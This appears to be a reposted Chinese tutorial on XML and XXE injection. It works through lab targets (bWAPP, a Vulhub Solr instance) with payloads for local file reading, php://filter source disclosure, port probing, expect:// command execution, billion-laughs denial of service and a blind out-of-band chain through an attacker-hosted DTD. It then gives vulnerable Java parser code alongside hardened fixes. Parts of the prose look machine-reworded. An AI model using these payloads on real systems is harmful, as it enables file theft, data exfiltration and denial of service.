在XML中,空格会被保留,如:<p>a空格B</p>,这时候a和B之间的空格就会被保留
2.2 XML构造
须要安全学习资料可以私信我:书本、视频教程、工具及学习思路【点击查看】
2.2.1 XML文档声明
<?xml version=34;1.0" encoding="utf-8"?>
2.2.2 元素
元素是 XML 以及 HTML 文档的紧张构建模块,元素可包含文本、其他元素或者是空的。
<body>body text in between</body><message>some message in between</message>
空元素有例如:hr、br、img
2.2.3 属性
属性可供应有关元素的额外信息
<img src="computer.gif"/>个中,src为属性
2.2.4 实体
实体分为四种类型,分别为:
字符实体命名实体外部实体参数实体2.3 文档类型定义--DTD
DTD是用来规范XML文档格式,既可以用来解释哪些元素/属性是合法的以及元素间应该若何嵌套/结合,也用来将一些分外字符和可复用代码段自定义为实体
DTD可以嵌入XML文档当中(内部声明),也可以以单独的文件存放(外部引用)
2.3.1 DTD内部声明
如果 DTD 被包含在您的 XML 源文件中,它应该通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
内部声明DTD示例
<?xml version="1.0"?><!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]><note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body></note>
以上 DTD 阐明如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型2.3.2 DTD外部引用
如果 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
note.dtd:
<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
2.3.3 PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检讨实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开,值得把稳的是,PCDATA不应包含&、<和>字符,须要用& < >实体更换,又或者是利用CDATA
2.3.4 CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
在XML中&、<字符是属于违法的,这是由于解析器会将<阐明为新元素的开始,将&阐明为字符实体的开始,以是当我们有须要利用包含大量&、<字符的代码,则可以利用CDATA
CDATA由结束,在CDATA当中,不能包含]]>字符串,也不能嵌套CDATA,结尾的]]>字符串不能包含任何的空格和换行
2.3.5 DTD实体
DTD实体是用于定义引用普通文本或分外字符的快捷办法的变量,可以内部声明或外部引用。
实体又分为一样平常实体和参数实体
1,一样平常实体的声明语法:
引用实体的办法:&实体名;
2,参数实体只能在DTD中利用,参数实体的声明格式:
引用实体的办法:%实体名;
2.3.5.1 内部实体
<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn"><author>&writer;©right;</author>
2.3.5.2 外部实体
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地打算机还是公共打算机
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><author>&writer;©right;</author>
不同程序支持的协议不同
LIBXML2
PHP
JAVA
.NET
file
file
http
file
http
http
https
http
ftp
ftp
ftp
https
php
file
ftp
compress.zlib
jar
compress.bzip2
netdoc
data
mailto
glob
gopher
phar
个中php支持的协议会更多一些,但须要一定的扩展支持。
三、XXEXXE即XML外部实体注入,由上面可知,外部实体指的便是DTD外部实体,而造成XXE的缘故原由是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令实行、内网端口扫描、攻击内网网站、发起dos攻击等危害
如何判断
3.1 如何判断是否存在XXE
以bwapp靶场为例
首先查看http头,不雅观察是否有XML干系字符串
再判断是否解析了XML内容
创造修正内容后做事器会解析相应的内容
3.2 XXE可导致的危害
3.2.1 读取文件
最紧张利用的是利用XXE来读取文件,这里我利用bwapp靶场作为环境
我搭建环境的时候利用php版本为5.2.17的环境,我是利用phpstudy搭建的环境,如果php版今年夜于5.2.17或者利用docker环境(php版本为5.5.9)会导致没有回显,当然可能只是我的环境问题,但是如果以low难度进行注入时利用精确的payload都是显示An error occured!的话,可以考试测验利用我的方法
3.2.1.1 有回响
首先前辈入XXE漏洞的测试界面
http://192.168.0.105/bwapp/xxe-1.php
进行抓包,创造存在text/xml
通过修正数据,不雅观察做事器是否会解析XML的内容
确定做事器会解析XML内容,就可以自己布局注入了
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE test[ <!ENTITY bee SYSTEM "file:///d:/robots.txt">]><reset><login>&bee;</login><secret>Any bugs?</secret></reset>
XML的外部实体“bee”被授予的值为:file:///d:/robots.txt,当解析xml文档时,bee会被更换为file:///d:/robots.txt的内容。就被实行回显回来了。
3.2.1.2 无回显(Blind XXE)
但是在实际环境中XML大多数时候并非是为了输出用,以是很多时候是不会有输出的,这样纵然XML被解析了但是是无法直接读取文件的,以是我们须要外带数据,把数据发送出来读取
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
搭建好环境后前辈入此页面http://192.168.3.25:8983/solr/#/demo/query,然后点击提交,进行抓包,并把包发送到重放器
在本地主机(利用桥接)或者是云做事器,反正能让目标做事器连接到的ip的主机即可,在此做事器上创建dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">
创建完后修正包内的payload
/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser
该payload解码后为
<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser把稳,http://192.168.3.35/xxe.dtd这句须要改为自己的地址,同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码,直接复制上去就好了
以上情形是当php报错时将里面的数据,如果php没有报错则利用下面的方法
首先先监听端口,然后在上面的根本上修正一下dtd文件
<!ENTITY % file SYSTEM "file:///h:/test.txt"><!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">
在连接后面附上监听的端口,发送后会在监听处收到信息,如果没有可以考试测验查看做事器日志
这里用一下别人的图
参考链接:XXE漏洞详解——进阶篇 - FreeBuf网络安全行业门户
但是我这里复现没有成功,也有可能是直接通过报错读出文件的缘故原由,但是还是记录一下这种情形
3.2.1.3 读取PHP等文件
由于一些文件,如php文件内含有<等字符,在读取的时候想、解析器会将这些解析为xml措辞导致语法缺点,所以为了避免这种情形涌现利用伪协议来读取
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE test[ <!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">]><reset><login>&bee;</login><secret>Any bugs?</secret></reset>
3.2.1.4 端口探测
同样利用bwapp靶场作为环境
前面的流程基本同等,抓包后布局注入
在http连接后跟端口,如果端口开启,则会显示 failed to open stream: HTTP request failed!,否则不显示(或者显示failed to open stream: Connection refuse!或500状态码)
我这里利用phpstudy作为环境,以是开启了3306端口
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE hack[<!ENTITY bee SYSTEM "http://192.168.3.25:3306">]>
测试666端口,机器没有开启,以是在发送包后获取相应包须要很长一段韶光,末了报500缺点码
测试1234端口,本机同样为开启,也是等待了一小会才获取到的相应包
3.2.1.5 远程命令实行RCE
要想要RCE须要利用expect协议,其他协议也有可能可以实行命令
expect须要安装expect拓展
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE hack[<!ENTITY bee SYSTEM "expect://whoami">]>
3.2.1.6 DDOS 攻击
参考文章:XXE从入门到放弃 - 安全客服,安全资讯平台 (anquanke.com)
<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "abc"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
该攻击通过创建一项递归的 XML 定义,在内存中天生十亿个”abc”字符串,从而导致 DDoS 攻击。事理为:布局恶意的XML实体文件耗尽可用内存,由于许多XML解析器在解析XML文档时方向于将它的全体构造保留在内存中,解析非常慢,造成了谢绝做事器攻击。
3.2.1.7 防御XXE
方案一、利用开拓措辞供应的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);JAVA:看下面的代码审计Python:第三方模块lxml按照修正设置来改就可以from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))def xxe(): tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False)) # tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False)) return etree.tostring(tree.getroot())考试测验改用defusedxml 是一个纯 Python 软件包,它修正了所有标准库 XML 解析器的子类,可以防止任何潜在的恶意操作。 对付解析不受信赖的XML数据的任何做事器代码,建议利用此程序包。
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
不许可XML中含有任何自己声明的DTD
有效的方法:配置XML parser只能利用静态DTD,禁止外来引入;对付Java来说,直接设置相应的属性值为false即可
参考文章:(38条) XXE详解_bylfsj的博客-CSDN博客_xxe
四、JAVA代码审计部分
XXE为XML External Entity Injection的英文缩写,当开拓职员许可xml解析外部实体时,攻击者可布局恶意外部实体来达到任意文件读取、内网端口探测、命令实行、谢绝做事攻击等方面的攻击。
产生XXE有三个条件,首先是解析了XML,其次是XML外部可控。末了是没有禁用外部实体
五、XML常见接口
5.1 XMLReader
XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其许可运用程序设置和查询解析器中的功能和属性、注册文档处理的事宜处理程序,以及开始文档解析。当XMLReader利用默认的解析方法并且未对XML进行过滤时,会涌现XXE漏洞
5.2 SAXBuilder
SAXBuilder是一个JDOM解析器,其能够将路径中的XML文件解析为Document工具。SAXBuilder利用第三方SAX解析器来处理解析任务,并利用SAXHandler的实例侦听SAX事宜。当SAXBuilder利用默认的解析方法并且未对XML进行过滤时,会涌现XXE漏洞
5.3 SAXReader
DOM4J是dom4j.org出品的一个开源XML解析包,利用起来非常大略,只要理解基本的XML-DOM模型,就能利用。DOM4J读/写XML文档紧张依赖于org.dom4j.io包,它有DOMReader和SAXReader两种办法。由于利用了同一个接口,以是这两种办法的调用方法是完备同等的。同样的,在利用默认解析方法并且未对XML进行过滤时,其也会涌现XXE漏洞。
5.4 SAXParserFactory
SAXParserFactory使运用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的布局方法,可以逼迫利用newInstance()。跟上面先容的一样,在利用默认解析方法且未对XML进行过滤时,其也会涌现XXE漏洞。
5.5 Digester
Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会涌现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一样平常需通过Blind XXE的方法来利用
5.6 DocumentBuilderFactory
javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器工具,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类供应了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的工具并返回。
六、接口代码审计&修复
通过理解XXE的事理理解到防御XXE只须要做到以下几点
1、不解析XML,但是有的时候业务须要
2、禁用dtd,同样很多时候无法实现
3、禁用外部实体和参数实体
对大部分时候,都可以通过设置feature来掌握解析器的行为
// 这是优先选择. 如果不许可DTDs (doctypes) ,险些可以阻挡所有的XML实体攻击setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);// 如果不能完备禁用DTDs,最少采纳以下方法,必须两项同时存在setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POCsetFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
如果是启用了XIclude则要在feature规则前添加
dbf.setXIncludeAware(true); // 支持XIncludedbf.setNamespaceAware(true); // 支持XInclude
以下代码均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)
6.1 XMLReader
try { String body = WebUtils.getRequestBody(request); logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.parse(new InputSource(new StringReader(body))); // parse xml return "xmlReader xxe vuln code";} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.2 修复代码
try { String body = WebUtils.getRequestBody(request); logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // fix code start xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end xmlReader.parse(new InputSource(new StringReader(body))); // parse xml} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.3 SAXBuilder
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXBuilder builder = new SAXBuilder(); // org.jdom2.Document document builder.build(new InputSource(new StringReader(body))); // cause xxe return "SAXBuilder xxe vuln code";} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.4 修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXBuilder builder = new SAXBuilder(); // fix code start builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end // org.jdom2.Document document builder.build(new InputSource(new StringReader(body)));} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.5 SAXReader
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXReader reader = new SAXReader(); // org.dom4j.Document document reader.read(new InputSource(new StringReader(body))); // cause xxe} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXReader reader = new SAXReader(); // fix code start reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end // org.dom4j.Document document reader.read(new InputSource(new StringReader(body)));} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.6 SAXParserFactory
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml return "SAXParser xxe vuln code";} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.7 修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); // fix code start spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code start SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.8 Digester
try { String body = WebUtils.getRequestBody(request); logger.info(body); Digester digester = new Digester(); digester.parse(new StringReader(body)); // parse xml} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); Digester digester = new Digester(); // fix code start digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end digester.parse(new StringReader(body)); // parse xml return "Digester xxe security code";} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.9 DocumentBuilderFactory
6.9.1 代码1:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // 遍历xml节点name和value StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); return buf.toString();} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.9.2 代码2:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // 遍历xml节点name和value StringBuilder result = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); // 正常解析XML,须要判断是否是ELEMENT_NODE类型。否则会涌现多余的的节点。 if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); } } } sr.close(); return result.toString();} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.9.3 修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); db.parse(is); // parse xml sr.close();} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.9.4 代码3,支持XInclude:
6.9.4.1作甚XInclude
Xinclude即为XML Include,实在便是文件包含,其浸染很大时候可以使得代码更加简洁,当须要利用个中的内容的时候再把文件包含进来,可以参考php的include
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); response(rootNodeList); sr.close(); return "DocumentBuilder xinclude xxe vuln code";} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
修复代码;
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); response(rootNodeList); sr.close();} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.10 XMLReader&SAXParserFactory
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.parse(new InputSource(new StringReader(body)));} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
修复代码:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xmlReader.parse(new InputSource(new StringReader(body)));} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
6.11 DocumentHelper
try { String body = WebUtils.getRequestBody(req); DocumentHelper.parseText(body); // parse xml} catch (Exception e) { logger.error(e.toString()); return EXCEPT;}
修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
不带ENTITY的PoC不能利用,以是禁用ENTITY即可完成修复。